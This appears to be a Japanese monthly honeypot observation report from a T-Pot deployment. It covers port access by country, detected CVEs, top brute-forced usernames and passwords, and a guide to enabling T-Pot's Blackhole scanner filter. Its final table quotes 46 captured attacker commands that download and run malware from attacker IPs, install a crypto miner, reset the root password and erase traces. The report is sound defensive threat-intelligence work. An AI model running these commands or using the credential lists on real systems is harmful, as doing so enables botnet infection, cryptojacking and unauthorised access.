Russia 5900 447,010
Russia 445 16,410
Russia 22 4,031
Russia 123 1,647
Russia 6379 1,076
Russia 3389 755
Russia 443 561
Russia 23 533
Russia 80 395
Russia 1433 272
United States 123 43,304
United States 53 25,318
United States 22 20,217
United States 5901 10,119
United States 445 3,789
United States 5555 3,725
United States 23 2,814
United States 3389 2,068
United States 80 1,183
United States 443 987
Netherlands 5900 154,444
Netherlands 22 1,857
Netherlands 123 1,830
Netherlands 3389 1,243
Netherlands 53 303
Netherlands 25 267
Netherlands 19 265
Netherlands 8139 81
Netherlands 80 66
Netherlands 445 62
China 123 13,582
China 22 9,998
China 23 7,617
China 445 5,071
China 1521 2,547
China 21 1,852
China 80 1,418
China 1433 1,400
China 2323 1,292
China 60023 1,186
India 445 25,799
India 22 3,969
India 123 1,162
India 23 665
India 3389 653
India 3391 220
India 60023 105
India 2323 104
India 23231 89
India 23000 59
Japan 445 19,711
Japan 123 5,624
Japan 22 3,579
Japan 62078 631
Japan 80 547
Japan 1900 356
Japan 65535 284
Japan 23 247
Japan 3128 82
Japan 4433 72
Germany 5901 11,092
Germany 123 4,685
Germany 22 3,379
Germany 23 3,124
Germany 3389 1,095
Germany 25 734
Germany 19 270
Germany 8080 239
Germany 80 220
Germany 53 205
Costa Rica 53 57,748
Costa Rica 445 61
Costa Rica 123 27
Costa Rica 22 9
United Kingdom 25 14,024
United Kingdom 123 3,033
United Kingdom 22 2,201
United Kingdom 2323 1,739
United Kingdom 8080 409
United Kingdom 23 357
United Kingdom 53 296
United Kingdom 9000 295
United Kingdom 9001 270
United Kingdom 445 250
  • Result
    • ブラジルとコスタリカからのアクセスはDNS(53)へのアクセスが多かった。
    • ロシアとニュージーランドからのアクセスはVNC(Virtual Network Computing)へのアクセスが多かった。
    • アメリカと中国からのアクセスはNTP(123)へのアクセスが多かった。
    • インドと日本からのアクセスはSMB(445)へのアクセスが多かった。これはWanacry関連のアクセスと考えられる。
    • イギリスからのアクセスはSMTP(25)へのアクセスが多かった。
    • ドイツからのアクセス(5901)が謎だった。VNC(5900)のポートフォワード(+1)へのアクセスだろうか。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 579,730
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 127
3 CVE-2020-11910 7
4 CVE-2020-11900 1
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 33,777
2 admin 6,579
3 user 2,754
4 postgres 2,327
5 (empty) 2,058
6 jenkins 1,862
7 pi 1,681
8 nproc 1,666
9 ubuntu 1,542
10 test 1,529
11 22 1,233
12 345gs5662d34 1,224
13 sa 1,135
14 guest 1,106
15 ftpuser 849
16 oracle 815
17 knockknockwhosthere 711
18 centos 636
19 !root 624
20 2Wire 619
21 support 612
22 steam 512
23 git 469
24 www 433
25 666666 406
26 Admin 402
27 administrator 398
28 mysql 370
29 ftp 341
30 adm 338
31 blank 338
32 hadoop 330
33 $ALOC$ 311
34 unknown 305
35 cameras 304
36 0 302
37 debug 301
38 web 281
39 anonymous 270
40 default 247
41 testuser 236
42 wwwroot 211
43 supervisor 206
44 ubnt 206
45 es 204
46 ec2-user 197
47 www-data 184
48 user123 183
49 elastic 182
50 vagrant 182
  • Result
    • 特記事項なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 123456 5,539
2 (empty) 3,039
3 admin 2,426
4 password 1,948
5 nproc 1,649
6 1234 1,455
7 12345 1,307
8 3245gs5662d34 1,226
9 345gs5662d34 1,224
10 123 1,179
11 root 956
12 blank 942
13 12345678 930
14 user 733
15 knockknockwhosthere 705
16 0 639
17 666666 612
18 ubnt 519
19 test 512
20 support 494
21 1 493
22 1234567890 487
23 000000000 467
24 alpine 427
25 1qaz2wsx 424
26 hi3518 423
27 Password 422
28 111111 381
29 passw0rd 379
30 pass 376
31 1qaz@WSX 367
32 test123 352
33 master 333
34 P@ssw0rd 328
35 backup 325
36 !ishtar 315
37 123123 312
38 10023 306
39 unknown 306
40 cameras 304
41 _Cisco 302
42 synnet 282
43 Passw0rd 272
44 qwer1234 270
45 1q2w3e4r 260
46 1111 253
47 guest 252
48 password123 246
49 1234qwer 245
50 7ujMko0admin 240
  • Result
    • 3245gs5662d34(8位)、345gs5662d34|(9位)はtelnet/sshハニーポットであるCowrieで観測された。
    • SANSでも同様の報告があった。

isc.sans.edu

  • knockknockwhosthere(15位)を久しぶりに観測した。
  • 7ujMko0admin(50位)はNessus プラグインのadminユーザのデフォルトパスワードであり、パスワードの変更か無効にすることが推奨されている。

jp.tenable.com


⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • shファイルとexeファイル関連の問い合わせは以下の通り。

◆shファイルに関するアクセス

No ファイル名 hash値(md5) アクセス
1 **************** ********** "echo -e '\x41\x4b\x34\x37'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://209.141.51.132/telnetsc.sh; busybox wget htt[p]://209.141.51.132/telnetsc.sh; tftp -r telnetsc.sh -g 209.141.51.132; busybox tftp -r telnetsc.sh -g 209.141.51.132; ftpget -v -u anonymous -p anonymous -P 21 209.141.51.132 telnetsc.sh telnetsc.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 209.141.51.132 telnetsc.sh telnetsc.sh; chmod 777 telnetsc.sh; busybox chmod 777 telnetsc.sh; sh telnetsc.sh; rm -rf telnetsc.sh",
2 - - #!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget htt[p]://23.235.171.196:88/112; curl -O htt[p]://23.235.171.196:88/112; chmod +x 112; ./112; rm -rf 123.sh; history -c; ,
3 - - cat /etc/issue ; cd /tmp; wget htt[p]://107.182.129.239/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
4 - - cat /etc/issue ; cd /tmp; wget htt[p]://185.246.221.138/Nyrox.sh; chmod +x Nyrox.sh; sh Nyrox.sh; rm -rf *,
5 - - cat /etc/issue ; cd /tmp; wget htt[p]://193.42.33.214/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
6 - - cat /etc/issue ; cd /tmp; wget htt[p]://193.42.33.81/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
7 - - cat /etc/issue ; cd /tmp; wget htt[p]://193.42.33.81/Gummybins.sh; chmod +x Gummybins.sh; sh Gummybins.sh; rm -rf *,
8 - - cat /etc/issue ; cd /tmp; wget htt[p]://195.58.39.18/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
9 - - cat /etc/issue ; cd /tmp; wget htt[p]://195.58.39.206/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
10 - - cat /etc/issue ; cd /tmp; wget htt[p]://195.58.39.207/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
11 - - cd /data/local/tmp/; busybox wget htt[p]://104.244.76.237/jack5tr.sh; sh jack5tr.sh; curl htt[p]://104.244.76.237/jack5tr.sh; sh jack5tr.sh,
12 - - cd /data/local/tmp/; busybox wget htt[p]://104.244.76.7/w.sh; sh w.sh; curl htt[p]://104.244.76.7/c.sh; sh c.sh,
13 - - cd /data/local/tmp/; busybox wget htt[p]://141.255.160.234/w.sh; sh w.sh; curl htt[p]://141.255.160.234/c.sh; sh c.sh,
14 - - cd /data/local/tmp/; busybox wget htt[p]://141.255.166.2/w.sh; sh w.sh; curl htt[p]://141.255.166.2/c.sh; sh c.sh,
15 - - cd /data/local/tmp/; busybox wget htt[p]://185.216.71.65/w.sh; sh w.sh; curl htt[p]://185.216.71.65/c.sh; sh c.sh,
16 - - cd /data/local/tmp/; busybox wget htt[p]://194.180.48.182/w.sh; sh w.sh; curl htt[p]://194.180.48.182/c.sh; sh c.sh,
17 - - cd /data/local/tmp/; busybox wget htt[p]://195.178.120.129/w.sh; sh w.sh; curl htt[p]://195.178.120.129/c.sh; sh c.sh,
18 - - cd /data/local/tmp/; busybox wget htt[p]://198.98.59.99/w.sh; sh w.sh; curl htt[p]://198.98.59.99/c.sh; sh c.sh,
19 - - cd /data/local/tmp/; busybox wget htt[p]://45.138.74.143/w.sh; sh w.sh; curl htt[p]://45.138.74.143/c.sh; sh c.sh,
20 - - cd /data/local/tmp/; busybox wget htt[p]://45.138.74.77/w.sh; sh w.sh; curl htt[p]://45.138.74.77/c.sh; sh c.sh,
21 - - cd /data/local/tmp/; busybox wget htt[p]://5.206.227.114/w.sh; sh w.sh; curl htt[p]://5.206.227.114/c.sh; sh c.sh,
22 - - cd /data/local/tmp/; busybox wget htt[p]://68.183.8.55/jack5tr.sh; sh jack5tr.sh; curl htt[p]://68.183.8.55/jack5tr.sh; sh jack5tr.sh,
23 - - cd /data/local/tmp/; busybox wget htt[p]://68.183.8.55/jack5tr.sh; sh w.sh; curl htt[p]://68.183.8.55/jack5tr.sh; sh jack5tr.sh,
24 - - cd /data/local/tmp/; busybox wget htt[p]://74.201.28.102/w.sh; sh w.sh; curl htt[p]://74.201.28.102/c.sh; sh c.sh; wget htt[p]://74.201.28.102/wget.sh; sh wget.sh; curl htt[p]://74.201.28.102/wget.sh; sh wget.sh; busybox wget htt[p]://74.201.28.102/wget.sh; sh wget.sh; busybox curl htt[p]://74.201.28.102/wget.sh; sh wget.sh,
25 - - cd /data/local/tmp/; busybox wget htt[p]://79.137.196.249/w.sh; sh w.sh; curl htt[p]://79.137.196.249/c.sh; sh c.sh,
26 - - cd /data/local/tmp/; busybox wget htt[p]://84.21.172.198/w.sh; sh w.sh; curl htt[p]://84.21.172.198/c.sh; sh c.sh,
27 - - cd /data/local/tmp/; busybox wget htt[p]://85.209.134.231/w.sh; sh w.sh; curl htt[p]://85.209.134.231/c.sh; sh c.sh; wget htt[p]://85.209.134.231/wget.sh; sh wget.sh; curl htt[p]://85.209.134.231/wget.sh; sh wget.sh; busybox wget htt[p]://85.209.134.231/wget.sh; sh wget.sh; busybox curl htt[p]://85.209.134.231/wget.sh; sh wget.sh,
28 - - cd /data/local/tmp/; busybox wget htt[p]://89.208.103.151/w.sh; chmod 777 w.sh; sh w.sh; curl htt[p]://89.208.103.151/c.sh; chmod 777 c.sh;sh c.sh,
29 - - cd /data/local/tmp/; busybox wget htt[p]://89.208.103.75/w.sh; sh w.sh; curl htt[p]://89.208.103.75/c.sh; sh c.sh,
30 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://111.90.143.133/w.sh; sh w.sh; curl htt[p]://111.90.143.133/c.sh; sh c.sh,
31 - - cd /data/local/tmp/; wget htt[p]://84.21.172.169/android.sh; chmod 777 android.sh; sh android.sh; tftp 84.21.172.169 -c get android2.sh; chmod 777 android2.sh; sh android2.sh; tftp -r android1.sh -g 84.21.172.169; chmod 777 android1.sh; sh android1.sh; ftpget 84.21.172.169 android3.sh android3.sh; sh android3.sh; rm -rf android.sh android1.sh android2.sh android3.sh,
32 - - cd /data/local/tmp/; wget htt[p]://84.21.172.169/android.sh; curl -O htt[p]://84.21.172.169/android.sh; sh android.sh; tftp 84.21.172.169 -c get android2.sh; sh android2.sh; tftp -r android1.sh -g 84.21.172.169; sh android1.sh; ftpget 84.21.172.169 android3.sh android3.sh; sh android3.sh; rm -rf *.sh,
33 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://104.244.76.7/jack5tr.sh; curl -O htt[p]://104.244.76.7/jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp 104.244.76.7 -c get jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp -r jack5tr2.sh -g 104.244.76.7; chmod 777 jack5tr2.sh; sh jack5tr2.sh; ftpget -v -u anonymous -p anonymous -P 21 104.244.76.7 jack5tr1.sh jack5tr1.sh; sh jack5tr1.sh; rm -rf jack5tr.sh jack5tr.sh jack5tr2.sh jack5tr1.sh; rm -rf *,
34 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://195.178.120.129/ohshit.sh; curl -O htt[p]://195.178.120.129/ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 195.178.120.129 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 195.178.120.129; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 195.178.120.129 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit.sh ohshit2.sh ohshit1.sh; rm -rf *,
35 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://195.58.39.254/sh; chmod 777 sh; sh sh; tftp 195.58.39.254 -c get bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -r bins.sh -g 195.58.39.254; chmod 777 bins.sh; sh bins.sh; ftpget -v -u anonymous -p anonymous -P 21 195.58.39.254 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf sh bins.sh bins.sh ftp1.sh; rm -rf *,
36 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://43.156.35.69/jack5tr.sh; curl -O htt[p]://43.156.35.69/jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp 43.156.35.69 -c get jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp -r jack5tr2.sh -g 43.156.35.69; chmod 777 jack5tr2.sh; sh jack5tr2.sh; ftpget -v -u anonymous -p anonymous -P 21 43.156.35.69 jack5tr1.sh jack5tr1.sh; sh jack5tr1.sh; rm -rf jack5tr.sh jack5tr.sh jack5tr2.sh jack5tr1.sh; rm -rf *,
37 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]s://cdn-136.anonfiles.com/a885K7May3/e3cd07d6-1671133142/bins.sh; curl -O htt[p]s://cdn-136.anonfiles.com/a885K7May3/e3cd07d6-1671133142/bins.sh; chmod +x bins.sh; sh bins.sh,
38 - - cd /tmp; rm -rf 351*; wget htt[p]://45.67.230.216/351.sh; curl -O htt[p]://45.67.230.216/351.sh; chmod 777 351.sh; ./351.sh server; sh 351.sh server,
39 - - cd /tmp; wget htt[p]://109.237.25.252/bins/bins.sh; chmod 777 bins.sh; ./bins.sh;,
40 - - cd /tmp; wget htt[p]://109.239.60.72//ok.sh; curl -o ok.sh htt[p]://109.239.60.72/ok.sh; chmod 777 ok.sh; ./ok.sh; rm -rf ok.sh; history -c,
41 - - cd /tmp; wget htt[p]://173.249.38.96/bins/bins.sh; chmod 777 bins.sh; ./bins.sh;,
42 - - cd /tmp; wget htt[p]://193.42.33.81/brian.sh; chmod +x brian.sh; sh brian.sh; rm -rf *,
43 - - cd /tmp; wget htt[p]://193.42.33.81/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
44 - - echo root:Min2oPasw0rd|chpasswd|bash; nvidia-smi; pkill xmrig; pkill cnrig; lotus wallet list; lotus; lotus-worker; lotus-miner; cat /etc/sysctl.d/21-solana-validator.conf; curl -s -L htt[p]s://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 49XgAZYdbkDcBgS5nKAfz6Fyx4iD4kqoe1pTWqeCMRoc1YPgbAUx1uqSUy4UbTxPsoZd9ETowPuNBDCpUptxbSQRC4sZb42,
45 - - nproc;cd /tmp;wget htt[p]://209.97.132.66:81/miner.sh;bash miner.sh;cd /tmp;curl -O htt[p]://209.97.132.66:81/divu2;wget htt[p]://209.97.132.66:81/divu2;perl divu2;rm -rf divu2* miner.sh,
46 - - rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

◆exeファイルに関するアクセス

  • 無し

今月の作業BGM
曲名 アーティスト 備考
Follow your dream にしたんクリニック ---

既知スキャナーのフィルタ (Blackholeの有効化)

概要

T-Potへの既知スキャンをフィルタしたい

  • T-Potには既知スキャナーのmasscanによるアクセスを防ぐ仕組みとしてBlackholeという機能がある
  • 公開されているスキャナーのIPアドレス※1をblacklistへ登録し、masscanによるアクセスをフィルタする
  • フィルタ対象IPは研究機関やshodan、censysなどのサイトが含まれる

※1 masscanスキャナーのIP一覧 https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/mass_scanner.txt

詳細

Blackhole の有効化

以下の内容を参考に、Blackhole を有効化する

github.com

  • 実行対象のファイルは /opt/tpot/bin/blackhole.sh を利用する
  • blackhole.sh add を実行して有効化する ( 無効化する場合は blackhole.sh del を実施する)
  • コマンドを実行すると/etc/blackhole/mass_scanner.txt にblacklist対象のリストがダウンロードされ、SuricataのIPsに適用される(2023年2月時点で7461件ある)
cd /opt/tpot/bin
./blackhole.sh add

### Downloading mass_scanner.txt list.

NOTICE  Downloading 1 item(s)
NOTICE  Download complete: /etc/blackhole/mass_scanner.txt

Download Results:
gid | stat | avg speed | path/URI
======+====+===========+=======================================================
***** | OK | 367KiB/s | /etc/blackhole/mass_scanner.txt

Status Legend:
(OK):download completed.

Now adding 7461 IPs to blackhole...................................................................
Added 7461 IPs to blackhole.

### Remember!
### As long as <blackhole.sh del> is not executed the routes will be re-added on T-Pot start through </opt/tpot/bin/updateip.sh>.
### Check with <ip r> or <dps.sh> if blackhole is enabled.



  • 実行後は ip rdps.sh を実施することでblackhole が有効化されていることを確認する
  • blackhole.sh del を実行しない限り、T-Pot起動時に/opt/tpot/bin/updateip.shにより永久的に有効化される
  • t-potのログイン画面でもblackhole が有効化されていることがわかる